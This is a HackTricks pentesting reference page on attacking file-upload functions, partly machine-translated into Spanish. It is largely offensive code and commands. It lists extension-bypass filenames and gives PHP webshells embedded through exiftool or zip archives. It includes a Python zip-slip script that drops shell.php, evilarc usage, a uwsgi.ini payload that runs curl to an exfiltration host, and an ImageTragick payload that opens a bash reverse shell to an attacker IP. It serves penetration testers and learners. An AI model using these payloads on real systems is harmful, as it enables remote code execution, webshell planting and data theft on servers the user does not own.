hacktricks/pentesting-web/file-upload
2024-09-23 23:33:00 +00:00
..
pdf-upload-xxe-and-cors-bypass.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:00:36 +00:00
README.md Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat 2024-09-23 23:33:00 +00:00

File Upload

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

If you are interested in hacking career and hack the unhackable - we are hiring! (se requiere polaco fluido escrito y hablado).

{% embed url="https://www.stmcyber.com/careers" %}

File Upload General Methodology

Other useful extensions:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Bypass file extensions checks

  1. If they apply, the check the previous extensions. Also test them using some uppercase letters: pHp, .pHP5, .PhAr ...
  2. Check adding a valid extension before the execution extension (use previous extensions also):
  • file.png.php
  • file.png.Php5
  1. Try adding special characters at the end. You could use Burp to bruteforce all the ascii and Unicode characters. (Note that you can also try to use the previously motioned extensions)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Try to bypass the protections tricking the extension parser of the server-side with techniques like doubling the extension or adding junk data (null bytes) between extensions. You can also use the previous extensions to prepare a better payload.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Add another layer of extensions to the previous check:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Try to put the exec extension before the valid extension and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension** .php, but not necessarily ending in .php** will execute code):
  • ex: file.php.png
  1. Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “::$data” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)
  2. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

Bypass Content-Type, Magic Number, Compression & Resizing

  • Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command). Or introduce the shell inside the metadata:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ or you could also introduce the payload directly in an image:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • If compressions is being added to your image, for example using some standard PHP libraries like PHP-GD, the previous techniques won't be useful it. However, you could use the PLTE chunk technique defined here to insert some text that will survive compression.
  • Github with the code
  • The web page cold also be resizing the image, using for example the PHP-GD functions imagecopyresized or imagecopyresampled. However, you podría usar el IDAT chunk technique defined here para insertar algún texto que sobreviva a la compresión.
  • Github with the code
  • Another technique to make a payload that survives an image resizing, using the PHP-GD function thumbnailImage. However, you could use the tEXt chunk technique defined here to insert some text that will survive compression.
  • Github with the code

Other Tricks to check

  • Find a vulnerability to rename the file already uploaded (to change the extension).
  • Find a Local File Inclusion vulnerability to execute the backdoor.
  • Possible Information disclosure:
  1. Upload several times (and at the same time) the same file with the same name
  2. Upload a file with the name of a file or folder that already exists
  3. Uploading a file with “.”, “..”, or “…” as its name. For instance, in Apache in Windows, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
  4. Upload a file that may not be deleted easily such as “…:.jpg” in NTFS. (Windows)
  5. Upload a file in Windows with invalid characters such as |<>*?” in its name. (Windows)
  6. Upload a file in Windows using reserved (forbidden) names such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
  • Try also to upload an executable (.exe) or an .html (less suspicious) that will execute code when accidentally opened by victim.

Special extension tricks

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.

The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script...)

The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.

Jetty RCE

If you can upload a XML file into a Jetty server you can obtain RCE because new *.xml and *.war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/ and expect the shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.

Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the .ini configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as @(filename), is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is processed.

Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

La ejecución de la carga útil ocurre durante el análisis del archivo de configuración. Para que la configuración se active y se analice, el proceso de uWSGI debe reiniciarse (potencialmente después de un fallo o debido a un ataque de Denegación de Servicio) o el archivo debe configurarse para recargarse automáticamente. La función de recarga automática, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios.

Es crucial entender la naturaleza laxa del análisis del archivo de configuración de uWSGI. Específicamente, la carga útil discutida puede insertarse en un archivo binario (como una imagen o PDF), ampliando aún más el alcance de la explotación potencial.

wget File Upload/SSRF Trick

En algunas ocasiones, puede encontrar que un servidor está utilizando wget para descargar archivos y puede indicar la URL. En estos casos, el código puede estar verificando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurar que solo se descarguen archivos permitidos. Sin embargo, esta verificación puede ser eludida.
La longitud máxima de un nombre de archivo en linux es 255, sin embargo, wget trunca los nombres de archivo a 236 caracteres. Puede descargar un archivo llamado "A"*232+".php"+".gif", este nombre de archivo eludirá la verificación (ya que en este ejemplo ".gif" es una extensión válida) pero wget renombrará el archivo a "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

Note que otra opción que puede estar pensando para eludir esta verificación es hacer que el servidor HTTP redirija a un archivo diferente, de modo que la URL inicial eluda la verificación y luego wget descargue el archivo redirigido con el nuevo nombre. Esto no funcionará a menos que wget se use con el parámetro --trust-server-names porque wget descargará la página redirigida con el nombre del archivo indicado en la URL original.

Herramientas

  • Upload Bypass es una herramienta poderosa diseñada para ayudar a los Pentesters y Cazadores de Bugs en la prueba de mecanismos de carga de archivos. Aprovecha varias técnicas de recompensas por errores para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web.

De la carga de archivos a otras vulnerabilidades

Aquí hay una lista de las 10 principales cosas que puede lograr al cargar (de aquí):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: XSS almacenado / SSRF / XXE
  3. GIF: XSS almacenado / SSRF
  4. CSV: inyección CSV
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : inyección HTML / XSS / redirección abierta
  8. PNG / JPEG: ataque de inundación de píxeles (DoS)
  9. ZIP: RCE a través de LFI / DoS
  10. PDF / PPTX: SSRF / XXE CIEGO

Extensión de Burp

{% embed url="https://github.com/portswigger/upload-scanner" %}

Bytes de Encabezado Mágico

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"

Consulte https://en.wikipedia.org/wiki/List_of_file_signatures para otros tipos de archivos.

Carga de archivo Zip/Tar descomprimido automáticamente

Si puede cargar un ZIP que se va a descomprimir dentro del servidor, puede hacer 2 cosas:

Cargue un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Decompress in different folders

La creación inesperada de archivos en directorios durante la descompresión es un problema significativo. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos a nivel de sistema operativo a través de cargas de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de recorrido de directorios del formato de archivo ZIP pueden ser explotados. Esto permite a los atacantes eludir restricciones y escapar de directorios de carga seguros manipulando la funcionalidad de descompresión de la aplicación objetivo.

Un exploit automatizado para crear tales archivos está disponible en evilarc en GitHub. La utilidad se puede usar como se muestra:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Además, el truco de symlink con evilarc es una opción. Si el objetivo es apuntar a un archivo como /flag.txt, se debe crear un symlink a ese archivo en su sistema. Esto asegura que evilarc no encuentre errores durante su operación.

A continuación se muestra un ejemplo de código Python utilizado para crear un archivo zip malicioso:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abusando de la compresión para el file spraying

Para más detalles consulta la publicación original en: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creando un Shell PHP: Se escribe código PHP para ejecutar comandos pasados a través de la variable $_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying y Creación de Archivos Comprimidos: Se crean múltiples archivos y se ensambla un archivo zip que contiene estos archivos.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modificación con un Editor Hexadecimal o vi: Los nombres de los archivos dentro del zip se alteran usando vi o un editor hexadecimal, cambiando "xxA" a "../" para atravesar directorios.
:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

Sube este contenido con una extensión de imagen para explotar la vulnerabilidad (ImageMagick , 7.0.1-1) (de la explotación)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Incrustar Shell PHP en PNG

Incrustar un shell PHP en el bloque IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones imagecopyresized e imagecopyresampled de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso.

Una exploración detallada de esta técnica, incluyendo su metodología y aplicaciones potenciales, se proporciona en el siguiente artículo: "Encoding Web Shells in PNG IDAT chunks". Este recurso ofrece una comprensión completa del proceso y sus implicaciones.

Más información en: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Archivos Políglota

Los archivos políglota sirven como una herramienta única en ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo intrigante es un GIFAR, un híbrido que funciona tanto como un GIF como un archivo RAR. Tales archivos no se limitan a esta combinación; combinaciones como GIF y JS o PPT y JS también son factibles.

La utilidad principal de los archivos políglota radica en su capacidad para eludir medidas de seguridad que filtran archivos según su tipo. La práctica común en varias aplicaciones implica permitir solo ciertos tipos de archivos para subir—como JPEG, GIF o DOC—para mitigar el riesgo que presentan formatos potencialmente dañinos (por ejemplo, archivos JS, PHP o Phar). Sin embargo, un políglota, al conformarse a los criterios estructurales de múltiples tipos de archivos, puede eludir sigilosamente estas restricciones.

A pesar de su adaptabilidad, los políglota enfrentan limitaciones. Por ejemplo, mientras un políglota podría encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su carga podría depender de las políticas de extensión de archivos de la plataforma. Si el sistema es estricto respecto a las extensiones permitidas, la mera dualidad estructural de un políglota puede no ser suficiente para garantizar su carga.

Más información en: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Referencias

If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}